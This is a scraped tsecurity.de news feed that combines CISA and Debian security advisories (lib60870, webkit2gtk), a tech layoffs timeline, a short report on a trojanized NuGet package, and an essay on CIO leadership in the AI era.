3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Acknowledgments

  • Abhinav Agarwal reported these vulnerabilities to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

Revision History

  • Initial Release Date: 2026-07-23
Date Revision Summary
2026-07-23 1 Initial Publication

Legal Notice and Terms of Use

]]> <![CDATA[MZ Automation lib60870]]> https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/ https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/ Thu, 23 Jul 2026 20:16:52 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

Summary

Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.

The following versions of MZ Automation lib60870 are affected:

  • lib60870 <=2.4.0
CVSS Vendor Equipment Vulnerabilities
v3 8.2 MZ Automation MZ Automation lib60870 Out-of-bounds Read

Background

  • Critical Infrastructure Sectors: Chemical, Energy, Water and Wastewater
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: Germany

Vulnerabilities

Expand All +

CVE-2026-16002

The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.

View CVE Details

Affected Products

MZ Automation lib60870
Vendor:
MZ Automation
Product Version:
MZ Automation lib60870: <=2.4.0
Product Status:
known_affected
Remediations

Vendor fix
MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.
https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv

Relevant CWE: CWE-125 Out-of-bounds Read

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8.2 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
4.0 8.8 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

Acknowledgments

  • Lars Tray reported this vulnerability to CISA

Legal Notice and Terms of Use

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

Recommended Practices

CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

CISA also recommends users take the following measures to protect themselves from social engineering attacks:

Do not click web links or open attachments in unsolicited email messages.

Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

Revision History

  • Initial Release Date: 2026-07-23
Date Revision Summary
2026-07-23 1 Initial Publication

Legal Notice and Terms of Use

]]> <![CDATA[v 7.0.5]]> https://tsecurity.de/de/3689881/downloads/v-705/ https://tsecurity.de/de/3689881/downloads/v-705/ Thu, 23 Jul 2026 19:46:56 +0200 đŸ’Ÿ Downloads tsecurity.de
  • Improve slideshow preload / animation / swipes in rich messages.
  • Fix stories leaving empty space on chats list top.
  • Fix custom emoji frame size in favorite reactions.
  • Crash fixes.
    • ]]>         <![CDATA[DSA-6398-1 webkit2gtk - security update]]> https://tsecurity.de/de/3689735/unix-server/dsa-6398-1-webkit2gtk-security-update/ https://tsecurity.de/de/3689735/unix-server/dsa-6398-1-webkit2gtk-security-update/ Thu, 23 Jul 2026 18:51:47 +0200 🐧 Unix Server tsecurity.de CVE-2024-4367

    Thomas Rinsma discovered that a type check was missing when handling fonts in PDF.js, which would allow arbitrary JavaScript execution in the PDF.js context.

    CVE-2026-28847

    DARKNAVY, an anonymous researcher and Daniel Rhea discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28883

    Kwak Kiyong discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28901

    Joshua Rogers, Luigino Camastra, Igor Morgenstern, Guido Vranken, Maher Azzouzi and Ngan Nguyen discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28902

    Tristan Madani and Nathaniel Oh discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28903

    Mateusz Krzywicki discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28904

    Luka Racki discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28905

    Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28907

    Cantina discovered that processing maliciously crafted web content may prevent Content Security Policy from being enforced.

    CVE-2026-28942

    Milad Nasr and Nicholas Carlini discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

    CVE-2026-28946

    Gia Bui, dr3dd, and w0wbox discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

    CVE-2026-28947

    dr3dd discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

    CVE-2026-28953

    Maher Azzouzi discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28955

    wac and Kookhwan Lee discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-28958

    Cantina discovered that an app may be able to access sensitive user data.

    CVE-2026-39872

    Utkarsh Pal and Ignacio Sanmillan discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43658

    Do Young Park discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

    CVE-2026-43660

    Cantina discovered that processing maliciously crafted web content may prevent Content Security Policy from being enforced.

    CVE-2026-43663

    Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota Toda, HexRabbit, NiNi, Tristan Madani and Brian Carpenter discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43676

    Mateusz Krzywicki, dr3dd, and Tommy DeVoss discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43699

    Tommy DeVoss discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43701

    Aaron Grattafiori discovered that a malicious website may be able to process restricted web content outside the sandbox.

    CVE-2026-43705

    dr3dd discovered that processing maliciously crafted web content may lead to memory corruption.

    CVE-2026-43707

    Amy Burnett discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43712

    Kwak Kiyong, Song Nuri, and Tristan Madani discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43713

    Jody Ritonga discovered that visiting a website may leak sensitive data.

    CVE-2026-43715

    Milad Nasr and Nicholas Carlini discovered that processing maliciously crafted web content may lead to memory corruption.

    CVE-2026-43716

    Tuan, Duc, Amy Burnett and Evan Lambert discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43720

    Gia Bui and Josef Korbel discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43721

    Idan Masas discovered that a malicious website may be able to silently hijack clipboard data.

    CVE-2026-43725

    Luke Francis discovered that a malicious website may be able to process restricted web content outside the sandbox.

    CVE-2026-43726

    Josef Korbel, Tristan Madani, Gia Bui and Narendra Singh discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43727

    Tommy DeVoss, Gia Bui and Gurpreet Shergill discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43731

    dr3dd discovered that processing maliciously crafted web content may lead to memory corruption.

    CVE-2026-43732

    Nan Wang discovered that processing maliciously crafted web content may disclose sensitive user information.

    CVE-2026-43734

    Jonathan Alush-Aben discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43740

    Nathaniel Oh and Arni Hardarson discovered that processing maliciously crafted web content may result in the disclosure of process memory.

    CVE-2026-43742

    Yulia Mertsalova discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    CVE-2026-43745

    Amy Burnett and Khai Tran discovered that processing maliciously crafted web content may lead to an unexpected process crash.

    https://security-tracker.debian.org/tracker/DSA-6398-1

    ]]>         <![CDATA[Clean Up and Save $290 With This Dyson V8 Absolute Vac Deal]]> https://tsecurity.de/de/3689638/it-nachrichten/clean-up-and-save-290-with-this-dyson-v8-absolute-vac-deal/ https://tsecurity.de/de/3689638/it-nachrichten/clean-up-and-save-290-with-this-dyson-v8-absolute-vac-deal/ Thu, 23 Jul 2026 18:04:56 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Tom Holland Confirms Fred Astaire Biopic Is His Next Film]]> https://tsecurity.de/de/3689153/ios-mac-os/tom-holland-confirms-fred-astaire-biopic-is-his-next-film/ https://tsecurity.de/de/3689153/ios-mac-os/tom-holland-confirms-fred-astaire-biopic-is-his-next-film/ Thu, 23 Jul 2026 15:16:57 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[HoverAir Aqua: Wasserstart-Drohne fĂŒr feuchte Umgebungen im Test]]> https://tsecurity.de/de/3689066/it-security-nachrichten/hoverair-aqua-wasserstart-drohne-fuer-feuchte-umgebungen-im-test/ https://tsecurity.de/de/3689066/it-security-nachrichten/hoverair-aqua-wasserstart-drohne-fuer-feuchte-umgebungen-im-test/ Thu, 23 Jul 2026 14:42:18 +0200 📰 IT Security Nachrichten tsecurity.de Akku, Timm Mohn, Drohne, Fernbedienung, Kamerasensor, 4K Video, IP67, H.265, Hoverair, HoverAir Aqua, Lighthouse, Zeitlupenaufnahmen, Wasserdichte Drohne, Fly-More-Combo, Dual-LadegerĂ€t, DrohnenfĂŒhrerschein, Action-Drohne Bei der HoverAir Aqua handelt es sich um eine wasserdichte Drohne, die auch aus dem Wasser starten kann. In der Regel sind Drohnenhersteller immer darum bemĂŒht, zu sagen: "Flieg diese Drohne nicht ĂŒber Wasser." Ein Absturz ins Wasser fĂŒhrt oft zum Totalschaden und sollte tunlichst vermieden werden. Die IP67-zertifizierte Aqua stellt das absolute Gegenteil zur wasserallergischen Drohnentechnik dar. (Weiter lesen)]]> <![CDATA[Tech layoffs: A 2026 timeline]]> https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/ https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/ Thu, 23 Jul 2026 14:35:03 +0200 📰 IT Nachrichten tsecurity.de

    Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

    But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

    According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

    Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

    Notable tech layoffs in 2026

    • Monday.com
    • Microsoft
    • Meta
    • Cisco
    • Cloudflare
    • Oracle
    • Atlassian
    • Salesforce
    • Amazon
    • Ericsson

    July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

    The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

    July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

    As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

    June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

    AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

    May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

    The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

    May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

    Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

    May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

    About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

    April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

    Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

    March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

    Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

    March 11, 2026: Tech layoffs surpass 45,000 in early 2026

    A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

    February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

    Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

    January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

    As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

    January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

     Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

    January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

    Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

    Layoffs in 2025

    • Cisco
    • Oracle
    • Windsurf
    • Intel
    • Microsoft
    • Crowdstrike
    • HPE
    • Autodesk
    • HPE
    • CISA
    • Workday
    • Salesforce
    • Meta

    Global tech-sector layoffs surpass 244,000 in 2025

    Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

    October 28, 2025: Amazon to cut 14,000 jobs across company

    Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

    August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

    Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date 

    August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

    Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

    July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

    Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

    July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

    Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

    July 2, 2025: Microsoft will cut 9,000 workers

    Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC.  The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

    June 17, 2025: Intel looks to factory layoffs to return to profitability

    Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

    May 7, 2025: CrowdStrike to lay off 5% of staff

    CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

    March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

    CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

    Feb. 27, 2025: Autodesk to lay off 9% of workforce

    Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

    Feb. 27, 2025: HP to lay off 2,000 more

    As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

    Feb. 21, 2025: CISA lays off 130

    Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

    Feb. 5, 2025: Workday lays off 1,750

    As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

    Feb. 4, 2025: Salesforce lays off over 1,000

    At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

    Jan. 14, 2025: Meta will lay off 5% of workforce

    Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

    Tech layoffs in 2024

    • Equinix
    • AMD
    • Freshworks
    • Cisco
    • General Motors
    • Intel
    • OpenText
    • Microsoft
    • AWS
    • Dell

    Nov. 26, 2024: Equinix to cut 3% of staff

    Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

    Nov. 13, 2024: AMD to cut 4% of workforce

    AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

    Nov. 7, 2024: Freshworks lays off 660

    Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

    Sept. 17, 2024: Cisco lays off 6,000

    After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

    Aug. 20, 2024: General Motors lays off 1,000 software staff

    More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

    August 1, 2024: Intel removes 15,000 roles

    Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

    July 4, 2024: OpenText to lay off 1,200

    OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

    June 4, 2024: Microsoft lays off staff in Azure division

    Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

    April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

    Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

    April 1, 2024: Dell acknowledges 13,000 job cuts

    Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

    See news of earlier layoffs.

    ]]>         <![CDATA[Trojanisiertes NuGet-Fork tarnte sich als Newtonsoft.Json und sabotierte Digitain]]> https://tsecurity.de/de/3688574/it-security-nachrichten/trojanisiertes-nuget-fork-tarnte-sich-als-newtonsoftjson-und-sabotierte-digitain/ https://tsecurity.de/de/3688574/it-security-nachrichten/trojanisiertes-nuget-fork-tarnte-sich-als-newtonsoftjson-und-sabotierte-digitain/ Thu, 23 Jul 2026 11:51:53 +0200 📰 IT Security Nachrichten tsecurity.de LONDON (IT BOLTWISE) – Eine NuGet-Typosquat-Variante tarnte sich als bekannte Newtonsoft.Json-Bibliothek und sollte gezielt das Crash-Game eines Online-Anbieters manipulieren. Entscheidend ist das Auslöseprinzip: Die schĂ€dliche Logik startet erst, nachdem bestimmte DefaultSettings von JsonConvert gesetzt werden. Betroffen sind mehrere veröffentlichte Paketversionen, die scheinbar „normal“ funktionieren, fĂŒr die Zielumgebung jedoch riggten. FĂŒr Teams bleibt der Fokus damit [
]

    Dieser Beitrag Trojanisiertes NuGet-Fork tarnte sich als Newtonsoft.Json und sabotierte Digitain erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

    ]]>         <![CDATA[AI success requires a full-stack CIO]]> https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/ Thu, 23 Jul 2026 11:43:10 +0200 📰 IT Nachrichten tsecurity.de

    Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

    It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

    After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

    Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

    I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

    Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

    While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

    That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

    Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

    The full-stack CIO: Leading with clarity

    A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

    The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

    And those who execute best lead with clarity, Talasaz says.

    “Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

    One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

    As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

    And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

    “When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

    At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

    Reducing organizational friction

    Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

    Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

    Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

    AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

    Operating model as strategy enabler

    AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

    Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

    “If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

    The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

